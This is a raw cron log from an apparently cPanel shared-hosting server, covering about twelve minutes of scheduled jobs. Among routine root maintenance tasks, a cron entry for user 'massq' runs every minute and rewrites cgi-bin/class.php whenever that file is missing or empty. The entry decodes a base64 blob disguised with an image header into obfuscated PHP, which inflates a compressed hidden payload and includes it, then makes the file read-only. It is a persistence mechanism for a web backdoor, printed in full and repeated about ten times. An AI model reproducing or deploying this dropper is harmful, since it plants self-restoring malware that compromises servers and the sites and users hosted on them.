Sep 10 05:34:01 server CROND[22821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:34:01 server CROND[22822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:34:01 server CROND[22823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:35:01 server CROND[23329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:35:01 server CROND[23330]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:35:01 server CROND[23332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:35:01 server CROND[23335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:35:01 server CROND[23337]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:35:01 server CROND[23338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:35:01 server CROND[23340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:35:01 server CROND[23339]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:35:01 server CROND[23341]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 05:36:01 server CROND[24153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:36:01 server CROND[24152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:36:01 server CROND[24154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:37:01 server CROND[24619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:37:01 server CROND[24620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:37:01 server CROND[24622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:38:01 server CROND[25002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:38:01 server CROND[25003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:38:01 server CROND[25004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:39:01 server CROND[25383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:39:01 server CROND[25384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:39:01 server CROND[25386]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 05:39:01 server CROND[25385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:40:01 server CROND[25787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:40:01 server CROND[25791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:40:01 server CROND[25790]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:40:01 server CROND[25793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:40:01 server CROND[25792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:40:01 server CROND[25794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:40:01 server CROND[25796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:40:01 server CROND[25795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:41:01 server CROND[26668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:41:01 server CROND[26669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:41:01 server CROND[26670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:42:01 server CROND[27041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:42:01 server CROND[27042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:42:01 server CROND[27043]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 05:42:01 server CROND[27044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:43:01 server CROND[27514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:43:01 server CROND[27515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:43:01 server CROND[27521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:44:01 server CROND[27884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:44:01 server CROND[27885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:44:01 server CROND[27886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:45:01 server CROND[28282]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:45:01 server CROND[28290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:45:01 server CROND[28291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:45:01 server CROND[28292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
